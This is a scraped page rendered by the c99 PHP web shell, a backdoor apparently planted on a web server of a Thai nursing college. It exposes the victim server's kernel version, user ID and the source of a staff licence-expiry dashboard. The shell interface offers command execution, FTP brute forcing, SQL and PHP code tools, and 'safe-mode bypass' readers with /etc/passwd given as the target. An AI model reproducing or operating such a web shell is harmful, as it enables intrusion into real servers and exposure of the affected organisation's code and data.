!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/report/person/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Rep0101.php (22.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include 'cache/topcache.php';
include 
'include/controller.php';
$year = (date("Y")+543);
$yEX1 =$year+1;
$yEX2 =$year+2;
$yEX3 =$year+3;
$yEX4 =$year+4;
$yEX5 =$year+5;
?>
<!DOCTYPE html>
<html class="loading" lang="en" data-textdirection="ltr">
<!-- BEGIN: Head-->

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimal-ui">
    <meta name="description" content="Vuexy admin is super flexible, powerful, clean &amp; modern responsive bootstrap 4 admin template with unlimited possibilities.">
    <meta name="keywords" content="admin template, Vuexy admin template, dashboard template, flat admin template, responsive admin template, web app">
    <meta name="author" content="PIXINVENT">
    <title>งานการเจ้าหน้าที่ วิทยาลัยพยาบาลบรมราชชนนี นครราชสีมา</title>
    <link rel="apple-touch-icon" href="app-assets/images/ico/apple-icon-120.png">
    <link rel="shortcut icon" type="image/x-icon" href="app-assets/images/ico/favicon.ico">
    <link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,500,600" rel="stylesheet">

    <!-- BEGIN: Vendor CSS-->
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/vendors.min.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/charts/apexcharts.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/extensions/tether-theme-arrows.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/extensions/tether.min.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/extensions/shepherd-theme-default.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/forms/select/select2.min.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/pickers/pickadate/pickadate.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/tables/datatable/datatables.min.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/animate/animate.css">
    <link rel="stylesheet" type="text/css" href="app-assets/vendors/css/extensions/sweetalert2.min.css">
    <!-- END: Vendor CSS-->

    <!-- BEGIN: Theme CSS-->
    <link rel="stylesheet" type="text/css" href="app-assets/css/bootstrap.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/bootstrap-extended.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/colors.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/components.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/themes/dark-layout.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/themes/semi-dark-layout.css">

    <!-- BEGIN: Page CSS-->
    <link rel="stylesheet" type="text/css" href="app-assets/css/core/menu/menu-types/horizontal-menu.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/core/colors/palette-gradient.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/pages/dashboard-analytics.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/pages/card-analytics.css">
    <link rel="stylesheet" type="text/css" href="app-assets/css/plugins/tour/tour.css">
    <!-- END: Page CSS-->

    <!-- BEGIN: Custom CSS-->
    <link rel="stylesheet" type="text/css" href="assets/css/style.css">
    <!-- END: Custom CSS-->
    <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Niramit&display=swap" rel="stylesheet">
    <style>
      body {
        font-family: 'Niramit', sans-serif;
        font-size: 13px;
      }
    </style>
</head>
<!-- END: Head-->

<!-- BEGIN: Body-->

<body class="horizontal-layout horizontal-menu 2-columns  navbar-floating footer-static  " data-open="hover" data-menu="horizontal-menu" data-col="2-columns">

    <!-- BEGIN: Header-->
    <nav class="header-navbar navbar-expand-lg navbar navbar-with-menu navbar-fixed navbar-shadow navbar-brand-left bg-success text-white">
        <div class="navbar-header d-xl-block d-none">
            <ul class="nav navbar-nav">&nbsp&nbsp
              <img src="app-assets/images/logo/header.png" alt="avatar" height="60%" width="60%"> 
            </ul>
        </div>
        <div class="navbar-wrapper">
            <div class="navbar-container content">
                <div class="navbar-collapse" id="navbar-mobile">
                    <div class="mr-auto float-left bookmark-wrapper d-flex align-items-center">
                        <ul class="nav navbar-nav">
                            <li class="nav-item mobile-menu d-xl-none mr-auto"><a class="nav-link nav-menu-main menu-toggle hidden-xs" href="#"><i class="ficon feather icon-menu"></i></a></li>
                        </ul>
                    </div>
                    <ul class="nav navbar-nav float-right">
                    
                        
                        

                        <li class="dropdown dropdown-user nav-item"><a class="dropdown-toggle nav-link dropdown-user-link" href="#" data-toggle="dropdown">
                                <div class="user-nav d-sm-flex d-none"><span class="user-name text-bold-600">วพบ.นครราชสีมา</span><span class="user-status">Online</span></div><span><img class="round" src="app-assets/images/portrait/small/avatar-s-11.jpg" alt="avatar" height="40" width="40"></span>
                            </a>
                            
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </nav>

    <!-- END: Header-->


    <!-- BEGIN: Main Menu-->
    <div class="horizontal-menu-wrapper">
        <div class="header-navbar navbar-expand-sm navbar navbar-horizontal floating-nav navbar-light navbar-without-dd-arrow navbar-shadow menu-border" role="navigation" data-menu="menu-wrapper">
           
            <!-- Horizontal menu content-->
            <div class="navbar-container main-menu-content" data-menu="menu-container">
                <!-- include includes/mixins-->
                <ul class="nav navbar-nav" id="main-menu-navigation" data-menu="menu-navigation">
                    <li class="dropdown nav-item active" data-menu="dropdown"><img src="https://img.icons8.com/color/48/000000/home-page.png" width="30"/> <span data-i18n="Dashboard" style="color:orange;font-size:18px;">Dashboard : แจ้งเตือนการหมดอายุของใบอนุญาตประกอบวิชาชีพล่วงหน้า </span>  </li>  
                </ul>
                
            </div>
            <div class="col-lg-4 col-sm-4 col-12">
            <p style="color:orange;font-size:18px;" class="float-right"><img src="https://img.icons8.com/color/48/000000/date-span.png" width="30"/> <?=DateThai($date)?></p>
            </div>
        </div>
    </div>
    
    <!-- END: Main Menu-->

    <!-- BEGIN: Content-->
    <div class="app-content content">
        <div class="content-overlay"></div>
        <div class="header-navbar-shadow"></div>
        <div class="content-wrapper">
            <div class="content-header row">
            </div>
            <div class="content-body">

                <!-- Dashboard Analytics Start  ปีการศึกษา-->
                <section id="dashboard-analytics">
                

                    <div class="row">
                        <div class="col-6">
                            <div class="card">
                                <div class="card-header alert-danger text-white">
                                    <h5 class="mb-0"><img class="round" src="app-assets/images/menu/menu1.jpg" alt="avatar" height="40" width="40"> กราฟแสดงการแจ้งเตือนการหมดอายุของใบอนุญาตประกอบวิชาชีพ 5 ปี ล่วงหน้า </h5>
                                </div>
                                <div class="card-content">
                                    <div class="table-responsive mt-1">
                                    <div id="chartContainer1" style="height: 370px; max-width: 900px; margin: 0px auto;"></div>
                                    </div>
                                </div>
                            </div>
                           
                        </div>

                        <div class="col-6">
                            <div class="card">
                                <div class="card-header alert-danger text-white">
                                    <h5 class="mb-0"><img class="round" src="app-assets/images/menu/menu2.jpg" alt="avatar" height="40" width="40"> แจ้งเตือนการหมดอายุของใบอนุญาตประกอบวิชาชีพ 5 ปี ล่วงหน้า</h5>
                                </div>
                                <div class="card-content">
                                    <div class="table-responsive mt-0">
                                    <?php
                                        $totalSum
="SELECT COUNT(id) AS sumid  FROM v_license   ";
                                        
$rstotal$conn->query($totalSum);
                                        while(
$values $rstotal->fetch_assoc()){
                                            
$sumid=$values['sumid'];
                                            
                                        }
                                    
?>
                                    <table class="table table-bordered">
                                        <thead>
                                            <tr class="table-active">
                                                <th class="text-center">ปีที่หมดอายุ</th>
                                                <th class="text-center">จำนวนคน</th>
                                                <th class="text-center">% จำนวนคน</th>
                                                <th class="text-center">รายละเอียด</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php
                                             $sup1
="SELECT COUNT(id) AS sumid1  FROM v_license WHERE yearExpired='$yEX1'  ";  
                                             
$resultsup1 $conn->query($sup1);
                                             while(
$valuesup1 $resultsup1->fetch_assoc()) { 
                                                 
$sumid1=$valuesup1['sumid1'];
                                                 
                                             }  
                                            
?>             
                                            <tr class="table-warning">
                                                <td class="text-left">ผู้ที่ใบอนุญาตประกอบวิชาชีพจะหมดในปี <font color="red"><b><?=$yEX1?></b></font></td>
                                                <td class="text-center"><?=number_format($sumid1,0)?></td>
                                                <td class="text-center"><font color="red"><?=number_format(($sumid1/$sumid)*100,2)?> %</font></td>
                                                <td class="text-center"><a href="javascript:window.open('detailLicense.php?year=<?=$yEX1?>', 'yourWindowName', 'width=1400,height=500');"><img src="https://img.icons8.com/color/48/000000/folder-invoices.png" width="26" hight="26"/></a></td>
                                            </tr>
                                            <tr class="table-warning">
                                            <?php
                                             $sup2
="SELECT COUNT(id) AS sumid2  FROM v_license WHERE yearExpired='$yEX2' ";  
                                             
$resultsup2 $conn->query($sup2);
                                             while(
$valuesup2 $resultsup2->fetch_assoc()) { 
                                                 
$sumid2=$valuesup2['sumid2'];
                                                
                                             }  
                                            
?>    
                                                <td class="text-left">ผู้ที่ใบอนุญาตประกอบวิชาชีพจะหมดในปี <font color="red"><b><?=$yEX2?></b></font></td>
                                                <td class="text-center"><?=number_format($sumid2,0)?></td>
                                                <td class="text-center"><font color="red"><?=number_format(($sumid2/$sumid)*100,2)?> %</font></td>
                                                <td class="text-center"><a href="javascript:window.open('detailLicense.php?year=<?=$yEX2?>', 'yourWindowName', 'width=1400,height=500');"><img src="https://img.icons8.com/color/48/000000/folder-invoices.png" width="26" hight="26"/></a></td>
                                            </tr>
                                            <tr class="table-warning">
                                            <?php
                                             $sup3
="SELECT COUNT(id) AS sumid3  FROM v_license WHERE yearExpired='$yEX3' ";  
                                             
$resultsup3 $conn->query($sup3);
                                             while(
$valuesup3 $resultsup3->fetch_assoc()) { 
                                                 
$sumid3=$valuesup3['sumid3'];
                                                 
                                             }  
                                            
?>    
                                                <td class="text-left">ผู้ที่ใบอนุญาตประกอบวิชาชีพจะหมดในปี <font color="red"><b><?=$yEX3?></b></font></td>
                                                <td class="text-center"><?=number_format($sumid3,0)?></td>
                                                <td class="text-center"><font color="red"><?=number_format(($sumid3/$sumid)*100,2)?> %</font></td>
                                                <td class="text-center"><a href="javascript:window.open('detailLicense.php?year=<?=$yEX3?>', 'yourWindowName', 'width=1400,height=500');"><img src="https://img.icons8.com/color/48/000000/folder-invoices.png" width="26" hight="26"/></a></td>
                                            </tr>
                                            <tr class="table-warning">
                                            <?php
                                             $sup4
="SELECT COUNT(id) AS sumid4  FROM v_license WHERE yearExpired='$yEX4' ";  
                                             
$resultsup4 $conn->query($sup4);
                                             while(
$valuesup4 $resultsup4->fetch_assoc()) { 
                                                 
$sumid4=$valuesup4['sumid4'];
                                                 
                                             }  
                                            
?>    
                                                <td class="text-left">ผู้ที่ใบอนุญาตประกอบวิชาชีพจะหมดในปี <font color="red"><b><?=$yEX4?></b></font></td>
                                                <td class="text-center"><?=number_format($sumid4,0)?></td>
                                                <td class="text-center"><font color="red"><?=number_format(($sumid4/$sumid)*100,2)?> %</font></td>
                                                <td class="text-center"><a href="javascript:window.open('detailLicense.php?year=<?=$yEX4?>', 'yourWindowName', 'width=1400,height=500');"><img src="https://img.icons8.com/color/48/000000/folder-invoices.png" width="26" hight="26"/></a></td>
                                            </tr>
                                            <tr class="table-warning">
                                            <?php
                                             $sup5
="SELECT COUNT(id) AS sumid5  FROM v_license WHERE yearExpired='$yEX5' ";  
                                             
$resultsup5 $conn->query($sup5);
                                             while(
$valuesup5 $resultsup5->fetch_assoc()) { 
                                                 
$sumid5=$valuesup5['sumid5'];
                                                
                                             }  
                                            
?>    
                                                <td class="text-left">ผู้ที่ใบอนุญาตประกอบวิชาชีพจะหมดในปี <font color="red"><b><?=$yEX5?></b></font></td>
                                                <td class="text-center"><?=number_format($sumid5,0)?></td>
                                                <td class="text-center"><font color="red"><?=number_format(($sumid5/$sumid)*100,2)?> %</font></td>
                                                <td class="text-center"><a href="javascript:window.open('detailLicense.php?year=<?=$yEX5?>', 'yourWindowName', 'width=1400,height=500');"><img src="https://img.icons8.com/color/48/000000/folder-invoices.png" width="26" hight="26"/></a></td>
                                            </tr>
                                            <tr>
                                                <td class="text-right"><b>ผลรวม</b></td>
                                                <td class="text-center"><font color="red"><b><?=number_format($sumid,0)?></b></font></td>
                                                <td class="text-center"></td>
                                                <td class="text-center"></td>
                                            </tr>
                                        </tbody>
                                    </table>
                                    </div>
                                </div>
                            </div>
                        </div>

                    </div>

                </section>
                <!-- Dashboard Analytics end ปีงบประมาณ-->
<script>
window.onload = function() {
var chart1 = new CanvasJS.Chart("chartContainer1", {
    animationEnabled: true,
    theme: "light2", // "light1", "light2", "dark1", "dark2"
    title: {
        text: ""
    },
    axisY: {
        title: "ร้อยละ"
    },
    data: [
        {        
        type: "line", 
        name: " ร้อยละของจำนวนคน",
        legendText: "ร้อยละของจำนวนคน",
        showInLegend: true, 
        yValueFormatString: "#,###.##' %'",
        indexLabel: "{y}", 
        dataPoints: [      
            { y: <?=number_format(($sumid1/$sumid)*100,2)?>, label: <?=$yEX1?> },
            { y: <?=number_format(($sumid2/$sumid)*100,2)?>,  label: <?=$yEX2?> },
            { y: <?=number_format(($sumid3/$sumid)*100,2)?>,  label: <?=$yEX3?> },
            { y: <?=number_format(($sumid4/$sumid)*100,2)?>,  label: <?=$yEX4?> },
            { y: <?=number_format(($sumid5/$sumid)*100,2)?>,  label: <?=$yEX5?> }
        ]
        }

        ]
});  



chart1.render();



}
</script>



            </div>
        </div>
    </div>
    <!-- END: Content-->

    <div class="sidenav-overlay"></div>
    <div class="drag-target"></div>

    <!-- BEGIN: Footer-->
    <footer class="footer footer-static footer-light navbar-shadow">
        <p class="clearfix blue-grey lighten-2 mb-0"><span class="float-md-left d-block d-md-inline-block mt-25">COPYRIGHT &copy; 2020<a class="text-bold-800 grey darken-2" href="" target="_blank">KANTANAT THIPPAWAT,</a>All rights Reserved</span>
            
        </p>
    </footer>
    <!-- END: Footer-->


    <!-- BEGIN: Vendor JS-->
    <script src="app-assets/vendors/js/vendors.min.js"></script>
    <!-- BEGIN Vendor JS-->

    <!-- BEGIN: Page Vendor JS-->
    <script src="app-assets/vendors/js/ui/jquery.sticky.js"></script>
    <script src="app-assets/vendors/js/charts/apexcharts.min.js"></script>
    <script src="app-assets/vendors/js/extensions/tether.min.js"></script>
    <script src="app-assets/vendors/js/extensions/shepherd.min.js"></script>
    <script src="app-assets/vendors/js/forms/select/select2.full.min.js"></script>
    <script src="app-assets/vendors/js/pickers/pickadate/picker.js"></script>
    <script src="app-assets/vendors/js/pickers/pickadate/picker.date.js"></script>
    <script src="app-assets/vendors/js/pickers/pickadate/picker.time.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/pdfmake.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/vfs_fonts.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/datatables.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/datatables.buttons.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/buttons.html5.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/buttons.print.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/buttons.bootstrap.min.js"></script>
    <script src="app-assets/vendors/js/tables/datatable/datatables.bootstrap4.min.js"></script>
    <script src="app-assets/vendors/js/extensions/sweetalert2.all.min.js"></script>
    <script src="app-assets/vendors/js/extensions/polyfill.min.js"></script>
    <!-- END: Page Vendor JS-->

    <!-- BEGIN: Theme JS-->
    <script src="app-assets/js/core/app-menu.js"></script>
    <script src="app-assets/js/core/app.js"></script>
    <script src="app-assets/js/scripts/components.js"></script>
    <!-- END: Theme JS-->

    <!-- BEGIN: Page JS-->
    <script src="app-assets/js/scripts/pages/dashboard-analytics.js"></script>
    <script src="app-assets/js/scripts/pickers/dateTime/pick-a-datetime.js"></script>
    <script src="app-assets/js/scripts/forms/select/form-select2.js"></script>
    <script src="app-assets/js/scripts/datatables/datatable.js"></script>
    <!-- END: Page JS-->
    <script src="./canvasjs.min.js"></script>
</body>
<!-- END: Body-->

</html>
<?php
function DateThai($strDate)
{
    
$strYear date("Y",strtotime($strDate))+543;
    
$strMonthdate("n",strtotime($strDate));
    
$strDaydate("j",strtotime($strDate));
    
$strHourdate("H",strtotime($strDate));
    
$strMinutedate("i",strtotime($strDate));
    
$strSecondsdate("s",strtotime($strDate));
    
$strMonthCut = Array("","ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
    
$strMonthThai=$strMonthCut[$strMonth];
    return 
"วันที่ $strDay $strMonthThai $strYear";
}
?>
<?php
include 'cache/btcache.php';
?>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--